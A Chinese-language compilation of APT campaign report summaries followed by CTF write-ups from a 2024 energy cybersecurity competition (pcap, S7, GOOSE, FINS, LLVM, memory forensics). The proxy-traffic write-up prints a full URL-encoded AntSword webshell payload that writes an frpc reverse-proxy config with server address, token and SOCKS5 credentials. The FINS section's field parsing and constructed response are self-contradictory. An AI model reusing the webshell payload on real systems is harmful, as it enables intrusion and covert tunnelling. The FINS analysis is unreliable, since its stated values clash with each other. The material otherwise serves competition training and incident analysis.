这些文档主要涉及多个APT(高级持续性威胁)组织针对不同国家和地区的网络攻击活动分析,包括攻击目标、手法、使用的恶意软件、技术特点以及相关的防御建议。以下是对这些文档内容的详细总结:
APT32组织针对我国关基单位攻击活动分析
- 攻击背景:2022年5月,APT32组织对我国国家关基单位发起攻击,攻击持续2个月,目标是窃取机密资料。
- 攻击手段:使用RemyRAT远程控制木马,具备文件操作、端口扫描等功能,通过后门程序植入和横向移动窃取资料。
- 攻击定性:通过流量还原技术,发现攻击者使用单字节传输、固定长度心跳等特征,确认为APT32组织所为。
- 攻击影响:攻击者可能窃取关键研究资料及技术成果,对我国工业制造业核心技术造成泄露风险。
- 防御建议:加强网络边界防护,及时更新安全策略,对重要系统进行定期安全审计,提高安全防护能力。
APT37针对韩国外交部下发RokRAT的窃密活动分析
- 攻击背景:APT37组织使用ISO文件针对韩国外交部进行窃密,攻击链涉及LNK文件、Powershell指令和RokRAT远控木马。
- 攻击手段:利用LNK文件释放HWP诱饵文件和BAT文件,通过Powershell指令下载并执行RokRAT,与云服务pCloud通信。
- 攻击影响:RokRAT具备屏幕截图、远程指令执行、文件管理等功能,可能窃取大量敏感信息。
- 防御建议:用户应避免运行未知来源的邮件附件,安全厂商需持续跟踪APT组织活动,更新威胁检测能力。
APT组织Pawn Storm使用针对高价值目标展开攻击
- 攻击背景:Pawn Storm(APT28)自2004年以来活跃,以政府、国防、能源等部门为目标,使用多种攻击手段。
- 攻击手段:包括暴力破解凭证、利用CVE-2023-23397漏洞、使用VPN和Tor匿名化工具、以及通过Mockbin API获取敏感信息。
- 攻击影响:攻击者成功入侵数千个电子邮件账户,可能用于进一步的网络间谍活动。
- 防御建议:网络防御者应关注攻击者使用的基础设施和TTPs,及时更新防御策略,加强身份验证和访问控制。
Operation GhostSecret攻击活动分析
- 攻击背景:Hidden Cobra组织发起的全球数据侦察活动,目标包括关键基础设施、娱乐、金融、医疗等行业。
- 攻击手段:使用多种植入物和恶意软件变体,包括Proxysvc和Destover-like植入物,通过SSL通信和自定义协议进行数据窃取。
- 攻击影响:攻击者能够窃取大量敏感信息,包括系统信息、文件和进程列表等。
- 防御建议:组织应加强网络监控,识别和阻止异常的SSL通信,及时更新安全策略。
Nodaria使用Graphiron信息窃取恶意软件攻击乌克兰
- 攻击背景:Nodaria组织(UAC-0056)针对乌克兰目标使用Graphiron恶意软件进行信息窃取。
- 攻击手段:Graphiron由Go语言编写,包含下载器和信息窃取器,能够窃取系统信息、凭据、截图和文件。
- 攻击影响:攻击者可能利用窃取的信息进行进一步的网络间谍活动。
- 防御建议:用户应避免运行未知来源的软件,安全厂商需更新恶意软件检测能力。
“SideCopy”武器库更新:基于Golang的Linux窃密工具浮出水面
- 攻击背景:SideCopy组织自2019年以来针对南亚国家进行窃密活动,攻击目标包括国防军和武装部队人员。
- 攻击手段:使用基于Golang的Linux窃密工具,扫描目标主机目录并窃取文件。
- 攻击影响:攻击者可能通过窃取的文件获取敏感信息,用于进一步的攻击活动。
- 防御建议:用户应避免运行未知来源的软件,安全厂商需加强Linux平台的威胁检测能力。
“海黄蜂”:针对我国新兴科技企业的窃密活动深度分析
- 攻击背景:攻击者伪装成物流公司向我国新兴科技企业发送钓鱼邮件,投递携带“Agent Tesla”木马的恶意程序。
- 攻击手段:通过多阶段执行和内存解密技术,躲避安全检测,窃取账户凭证等敏感信息。
- 攻击影响:攻击者可能利用窃取的凭证进行供应链攻击,对企业的网络安全构成严重威胁。
- 防御建议:企业应加强邮件系统的防护,提高员工的安全意识,避免点击不明链接或下载未知附件。
“幻鼠”组织针对我国的窃密攻击活动分析
- 攻击背景:攻击者通过钓鱼邮件传播Raccoon Stealer窃密木马,攻击目标为国内某化学品生产企业。
- 攻击手段:利用Telegram、Internet Archive和blogger博客分发恶意软件,通过多种技术规避溯源和查杀。
- 攻击影响:攻击者能够窃取登录凭据、信用卡信息、加密货币钱包和浏览器信息等。
- 防御建议:用户应避免点击不明链接或下载未知附件,安全厂商需更新恶意软件检测能力。
“苦象”组织上半年针对我国的攻击活动分析
- 攻击背景:攻击者通过鱼叉邮件投递恶意CHM文件,针对我国军工、贸易和能源等领域进行窃密攻击。
- 攻击手段:恶意CHM文件包含混淆的脚本,能够添加系统任务计划,下载并执行一系列功能插件。
- 攻击影响:攻击者能够远程控制目标机器,窃取文件、浏览器凭证、键盘记录等敏感信息。
- 防御建议:用户应避免运行未知来源的文件,安全厂商需加强恶意软件检测和防御能力。
APT28组织通过mockbin API获取敏感信息
- 攻击背景:APT28组织利用mockbin API获取受害者的NTLM哈希值,可能用于暴力破解密码。
- 攻击手段:通过恶意LNK文件启动隐藏的powershell窗口,下载并执行修改后的Nishang脚本。
- 攻击影响:攻击者可能获取受害者的敏感信息,用于进一步的网络攻击。
- 防御建议:用户应避免运行未知来源的文件,安全厂商需更新恶意软件检测能力。
分析hack.pcap
数据包协议层级
发现有http协议传输
过滤完成后还剩201个http数据包,发现数据包大部分是Post请求参数
追踪第一个数据包就发现有一个明显的文件地址,通过http的传输格式,是一个文件上传,
请求体中包含一个文件上传的部分(--JWolzmpQvd3jAcTnoyAILrSFUN0koO6W47pvml0UVU720pncK72JQ4
是边界字符串,用来分隔不同部分)。
上传的文件被命名为C:\20211101111734_error1log.txt
,并且文件内容是一个看起来是路径(带有类似Windows文件系统的路径)的字符串C.:.\.U.s.e.r.s.\.w.d.r.\.D.e.s.k.t.o.p.\.t.e.s.t.\.8.8.8.8.8.8.8.8.8...t.x.t
客户端主动发送数据:
- 客户端发送这个POST请求,可能是某种恶意工具或脚本的一部分,尝试通过HTTP请求上传一个文件到服务器。上传的文件内容包含一些路径信息,可能是在探测服务器或者尝试进行一些系统级的信息收集。
服务端没有处理这个请求:
- 服务端可能没有正确配置或者存在某种漏洞,导致它没有响应客户端的请求。可能的原因包括:
- 服务端没有处理
abch2wdo492.php
这个路径的逻辑,或者该脚本存在故障。 - 服务端的配置错误,例如服务器阻止了特定类型的文件上传或未能正确解析请求体。
- 服务端可能配置了防火墙或安全软件来忽略或丢弃特定的HTTP请求。
- 服务端没有处理
服务端被攻击或正在被绕过:
- 客户端发送的请求可能是一次绕过防火墙或过滤器的尝试,试图上传带有特殊路径或内容的文件。客户端发送的数据可能包含了目标系统的文件路径信息,攻击者可能试图将文件上传到特定位置或执行某些命令(例如Web Shell上传,或命令注入)。
- 也可能是客户端和服务器之间存在某种不一致,或者客户端未接收到响应是因为攻击被服务器安全措施阻挡或错误配置。
文件内容的意义:
- 上传的文件内容(看似路径信息)可能是尝试上传某些敏感信息,如用户路径、桌面文件等,这通常是通过自动化脚本完成的,目的是收集目标系统上的特定数据。
- 这些路径信息可能通过特殊的字符或编码方式来规避服务器端的输入验证机制。
在第51
个http流中又发现8.8.8.8.8.8.8.8.8.txt
的字样,此http依然为文件上传,所请求的内容和上面第16
个流一样
在后面发现的许多流中仍然出现相同的字样,于是猜测这个文件就是黑客所想要窃取的文件
2024年能源网络安全大赛个人赛决赛——代理流量
打开附件->协议分级->发现是HTTP流量
题目要求分析攻击过程,并找到代理工具的回连地址及端口,提交地址端口
发现上传了1.php
的远程执行木马,根据流量特点应该是使用中国蚁剑Webshell管理的
在蚁剑访问的数据包中找到许多以16进制进行传输的数据
aaa=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2228%22.%22f72%22%3Becho%20%40asenc(%24output)%3Becho%20%22f486%22.%2211f4%22%3B%7Dob_start()%3Btry%7B%24f%3Dbase64_decode(substr(%24_POST%5B%22j68071301598f%22%5D%2C2))%3B%24c%3D%24_POST%5B%22xa5d606e67883a%22%5D%3B%24c%3Dstr_replace(%22%5Cr%22%2C%22%22%2C%24c)%3B%24c%3Dstr_replace(%22%5Cn%22%2C%22%22%2C%24c)%3B%24buf%3D%22%22%3Bfor(%24i%3D0%3B%24i%3Cstrlen(%24c)%3B%24i%2B%3D2)%24buf.%3Durldecode(%22%25%22.substr(%24c%2C%24i%2C2))%3Becho(%40fwrite(fopen(%24f%2C%22a%22)%2C%24buf)%3F%221%22%3A%220%22)%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&j68071301598f=FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ%3D%3D&xa5d606e67883a=5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3135372E3131310A7365727665725F706F7274203D20383838380A746F6B656E3D6659346533766372535941486A6A464B7A4B4B380A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2050787059784642644E70370A706C7567696E5F706173737764203D2059454453756E70480A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A
使用赛博大厨将十六进制转成ASCII
得到代理服务器信息
此题flag即可得出
2024年能源网络安全大赛初赛——IP找不到了
附件协议层级
因题目描述为:某油库系统工程师,在对一台带有双网卡的 DCS 设备进行维修,但是他不知道新网络模块的 IP 地址,请分析流量,帮助找到地址,之前通过 Web 访问过 DCS 控制器的一些状态信息。
因为通过Web进行访问,首先分析HTTP分组流量
以此重组每个HTTP流量,流均为向服务器GET
请求gif
和htm
文件
在第114
个流中发现与题目名称相同的gif文件
导出hex查看内容
没什么有用信息
这是需要一个知识点:
在HTTP流量中diag.htm
和 diag.gif
可能是 Web 服务器或网络设备中用于诊断的文件。这些文件通常与设备或应用程序的调试、状态检查或故障排除相关。
diag.htm
- 用途:
.htm
(或.html
)文件是标准的网页文件,通常用于呈现诊断页面或仪表板。在很多情况下,diag.htm
可能是一个提供设备状态、系统日志或其他诊断信息的页面。 - 内容:例如,设备或服务器可以通过 HTTP 服务器提供一个 Web 界面,用户可以访问
diag.htm
文件以查看系统的实时状态、错误报告、硬件信息等内容。此页面可能还包含一些系统测试功能,例如检测网络延迟、CPU使用率等。 - 示例:在路由器、交换机或防火墙等设备的管理页面中,你可能会看到一个类似
diag.htm
的文件,帮助管理员诊断设备状态。
diag.gif
- 用途:
.gif
文件是图像文件格式,通常用于显示图标或动画。在诊断页面中,diag.gif
可能是用于表示某些诊断信息的图形或图标。 - 内容:例如,在一个 Web 诊断页面上,
diag.gif
可能用于显示设备的状态,如绿色表示正常,红色表示错误或故障。这种图像文件可能通过 HTTP 响应传输,帮助用户理解系统的健康状况。 - 示例:在诊断页面上,
diag.gif
可以是表示成功连接、测试通过或错误的图标,通常用于使信息更易于理解。
此题中的diag.htm文件显示了两个网卡的IP信息
另一个网卡的IP地址为172.16.129.0/20
S7
2024年能源网络安全大赛个人赛决赛——这是一个秘密
此题应是考察S7协议的相关原理以及应用
题目描述在协议中发现了两个数据包存在read结果,将两个包的数据结果进行拼接,使用base64解码获取flag
首先过滤s7协议数据包
发现417和418号流量包就很像Base编码
解码得到flag
Goose
2024年能源网络安全大赛初赛——Goose
协议层级
Goose
占比较多,分析Goose协议
因为GOOSE报文直接封装在以太网帧中(OSI Layer 2),不依赖IP层,故此处源地址与目的地址均为Mac地址
观察大部分数据包的长度都是202,有少数205的数据包,于是将重点放在205的数据包上
观察发现长度为205的数据包比一般的数据包在allData
字段中多了一个数据,将每个多出来的值转换成ASCII码
利用tshark
筛选出来
TVpXR0NaMzNNTlJHS05KVEc0NERNTUpWTU1ZREdOWlRHSjZRPT09PQ==
Base64+Base32解码后得到flag
Fins
2024年能源网络安全大赛——Fins协议分析
题目描述:如果请求数据为:46494e530000001b000000020000000080000200640000fc0040010231000000000101,请分析构造其响应数据,flag即为响应数据(附件仅做参考)。提交格式:flag{xxx}。
协议分级
研究Fins协议
寻找规律
FINS协议响应数据构造
要构造FINS协议的响应数据,需要了解其基本帧结构。一个完整的FINS响应通常包含以下几个部分:
- 头部信息:
- 命令代码(Command Code):响应对应的命令代码
- 响应结束代码(End Code):指示请求是否成功处理
- 数据部分:
- 根据请求命令不同而变化
- 包含请求的实际数据内容
例如,一个简单的内存区读取响应可能包含:
- 命令代码(如内存区读取的响应代码)
- 结束代码(0x0000表示成功)
- 读取到的数据内容
在实际应用中,构造FINS响应需要严格遵循协议规范,确保正确的帧结构和数据格式,同时要考虑网络字节序等问题。
本题需要构造46494e530000001b000000020000000080000200640000fc0040010231000000000101
的响应数据
FINS/TCP 帧结构解析
FINS/TCP 的帧格式如下(十六进制):
46494e53 0000001b 00000002 000000 00 80 0002 0064 0000fc 00400102 31000000 000101
逐字段解析:
字段 | 值 (HEX) | 说明 |
---|---|---|
FINS Header | 46494e53 | ASCII “FINS”(协议标识) |
Length | 0000001b | 数据长度(27字节,包括后面的所有数据) |
Command | 00000002 | FINS/TCP 命令码(02 表示FINS数据帧) |
Error Code | 000000 | 保留(全0) |
FINS Frame | 剩余部分 | 实际的FINS协议数据 |
FINS Frame 内部结构
00 80 0002 0064 0000fc 00400102 31000000 000101
字段 | 值 (HEX) | 说明 |
---|---|---|
ICF | 00 | 信息控制字段(00 表示正常) |
RSV | 00 | 保留(必须 00 ) |
GCT | 80 | 网关计数(80 表示默认) |
DNA | 00 | 目标网络地址(00 表示本地网络) |
DA1 | 02 | 目标节点号(02 表示PLC的节点号) |
DA2 | 00 | 目标单元号(00 表示CPU单元) |
SNA | 00 | 源网络地址(00 表示本地网络) |
SA1 | 64 | 源节点号(64 表示PC的节点号) |
SA2 | 00 | 源单元号(00 表示PC) |
SID | fc | 服务ID(用于匹配请求和响应) |
Command Code | 0040 | FINS 命令(0101 是内存区读取) |
Sub-Command | 0102 | 子命令(取决于主命令) |
Data | 31000000 000101 | 请求参数(取决于命令) |
构造 Write 响应包
响应包规则
- 交换
DA1
和SA1
(请求方向:PC → PLC,响应方向:PLC → PC)- 请求:
DA1=0064
(PLC),SA1=00fc
(PC) - 响应:
DA1=00fc
(PC),SA1=0064
(PLC)
- 请求:
- 保持相同的
SID
(40
) - 返回
End Code = 0000
(表示成功) - Write 响应通常不带数据,仅返回
End Code
响应包结构
46494e53 00000016 00000002 000000 00 80 00fc 0064 000040 00400102 0000
逐字段解析
字段 | 值 (HEX) | 说明 |
---|---|---|
FINS Header | 46494e53 | “FINS” 标识 |
Length | 00000016 | 数据部分 22 字节 |
TCP Command | 00000002 | FINS 数据传输 |
ICF | 00 | 正常通信 |
RSV | 80 | 保留 |
GCT | 00 | 网关计数 |
DNA | 00 | 目标网络地址(PC 端) |
DA1 | 00fc | 目标节点 FC (PC 端) |
DA2 | 00 | 目标单元(PC 端) |
SNA | 00 | 源网络地址(PLC 端) |
SA1 | 0064 | 源节点 64 (PLC 端) |
SA2 | 00 | 源单元(PLC 端) |
SID | 40 | Service ID 40 (与请求一致) |
Command | 0102 | Write 命令 |
End Code | 0000 | 成功 |
3. 最终响应包
46494e53 00000016 00000002 000000 00 80 00fc 0064 000040 00400102 0000
Flag 格式
flag{46494e530000001600000002000000008000fc0064000040004001020000}
(注意:RSV
字段在请求中是 80
,响应中也保持一致)
.ll文件
2024年能源网络安全大赛个人赛决赛——data-encry
附件是.ll
文件,题目描述:编译文件,执行文件,获取flag
.ll
文件通常是 LLVM 中间表示(IR) 的文本文件,它是 LLVM 编译器框架生成的一种低级中间代码。LLVM IR 是一种类似于汇编的语言,但具有更强的可读性和结构化特性,常用于编译器优化和代码生成。
.ll
文件的特点:
- 文本格式:人类可读,包含 LLVM IR 指令、函数、基本块等。
- 结构化:包含模块(Module)、函数(Function)、基本块(Basic Block)、指令(Instruction)等层次。
- 静态单赋值(SSA)形式:每个变量只赋值一次,便于优化分析。
- 类型系统:LLVM IR 是强类型的,支持整数、浮点、指针、数组、结构体等类型。
LLVM(Low Level Virtual Machine)和工业系统之间的关系主要体现在 编译器技术、嵌入式系统、系统级编程、优化、工具链开发 等领域。具体来说,LLVM 在工业系统中有很多应用,以下是一些关键的关联:
编译器与工具链开发
LLVM 是一种编译器基础设施,它提供了高度模块化的编译工具链,广泛应用于工业系统的开发。许多工业系统(尤其是嵌入式系统、操作系统、性能优化相关的系统等)都依赖编译器来生成高效的机器代码,LLVM 的灵活性和优化能力使它在这些领域具有重要作用。
- 工业编译器开发:许多工业公司会在 LLVM 的基础上开发自定义的编译器来适应特定硬件、操作系统或者编程需求。LLVM 作为一个开源项目,提供了一个强大的框架,帮助公司缩短开发周期,定制化其编译工具。
- 跨平台编译:LLVM 支持多种目标架构,可以针对不同的硬件平台生成优化过的代码,这在工业系统中非常重要。例如,嵌入式开发中,不同的硬件架构(如 ARM、RISC-V、MIPS 等)需要不同的编译器支持,LLVM 提供了这些支持。
嵌入式系统开发
LLVM 在嵌入式系统开发中扮演了关键角色。嵌入式系统通常资源有限,需要高效的代码执行和紧凑的存储空间。LLVM 提供的优化功能(如 LTO、IPA 等)可以生成高效的机器代码,帮助在性能和内存之间找到平衡。
- 定制化编译:工业嵌入式开发中的硬件通常有特定的指令集和资源要求,LLVM 使得开发者可以根据这些要求定制编译器,生成适合特定硬件的高效代码。
- 低功耗设备支持:LLVM 通过优化生成的代码,也有助于降低嵌入式系统中设备的功耗,尤其是在低功耗芯片(如 ARM Cortex-M 系列)上运行时。
操作系统和驱动开发
LLVM 被广泛应用于操作系统的开发中,特别是在开发 内核 和 驱动程序 时。通过 LLVM 的工具,开发者能够优化操作系统和硬件驱动的性能,提升系统的效率。
- 内核开发:一些操作系统(如 FreeBSD、Linux)支持使用 Clang/LLVM 进行内核编译,特别是当编译器性能和安全性成为关注点时,LLVM 提供了比传统 GCC 更具优势的功能(如更快速的编译速度和更严格的类型检查)。
- 硬件抽象层(HAL)和驱动开发:LLVM 的支持跨平台的特性,使得操作系统可以很方便地支持不同硬件平台,尤其是为不同的硬件平台定制驱动程序。
性能优化
LLVM 提供了多种优化机制,使得开发者可以生成更高效的代码。这对于工业系统尤其重要,因为在很多工业应用中,系统性能是一个关键指标,尤其是在处理大量数据或需要实时响应的系统中。
- 静态和动态优化:LLVM 可以对程序进行静态分析和动态优化,从而提升代码的执行效率。这对于需要高性能计算的工业系统,如 自动化控制系统、实时处理系统 等非常重要。
- 中间表示(IR)优化:LLVM 的 IR 是一种高度优化的抽象表示,工业开发者可以利用 LLVM 的优化传递(例如内联扩展、循环优化等)来提升程序的性能。
现代编程语言支持
许多工业系统和产品都使用高层编程语言(如 C、C++、Rust、Swift 等),而 LLVM 提供了对这些语言的强大支持。它不仅支持传统的 C/C++ 编译,还支持现代语言如 Rust 和 Swift。
- C/C++ 编程:LLVM 是 C/C++ 编译的一个重要工具链,工业系统中的许多底层开发使用 C/C++ 语言,这使得 LLVM 成为关键的工具链组件。
- Rust 和安全性:Rust 是一种近年来在工业界得到广泛关注的编程语言,因为它可以提供更高的内存安全性,LLVM 为 Rust 提供了底层的编译支持。这对工业系统中对安全性有高要求的应用(如金融、医疗、汽车等)非常重要。
硬件加速
LLVM 的一个重要功能是其对硬件加速的支持,尤其是在 GPU 和 FPGA 等加速器上的应用。通过 LLVM 提供的 OpenCL、CUDA 和 SPIR 支持,工业系统能够将部分计算密集型任务委托给专用硬件来加速,提高系统性能。
- GPU 加速:许多工业应用,尤其是图像处理、机器学习和科学计算,都会使用 GPU 来加速计算。LLVM 支持将计算任务编译为适合 GPU 执行的代码。
- FPGA 和定制硬件:通过 LLVM,开发者可以为定制硬件(如 FPGA)编写高效的代码,进一步提升硬件加速的能力。
安全性与代码分析
LLVM 也被应用于工业系统的 安全性分析 中。通过静态分析工具、漏洞扫描工具等,LLVM 可以帮助开发人员发现和修复潜在的安全漏洞。
- 编译器安全性:LLVM 提供了一些功能(如 Control Flow Integrity (CFI)、Data Flow Analysis 等)来增强代码的安全性,这对于工业系统中需要高度安全性的应用非常重要。
- 代码审计与漏洞检测:LLVM 通过工具链中的静态分析功能,能够帮助开发人员在编译时发现潜在的安全问题,避免常见的编程错误,如缓冲区溢出、内存泄漏等。
打开文本编辑器发现这块有点flag的样子
以上是非预期解,下面按照题目要求编译程序
环境搭建失败
内存取证
2024年能源网络安全大赛个人赛决赛——内存取证
题目描述:分析win内存镜像,电脑中有一张记录flag的图片
使用filescan
插件导出到文本编辑器,搜索关键词flag``jpg``png
发现存在一个777.png
文件
尝试将其dump下来,修改文件后缀名为png
得到flag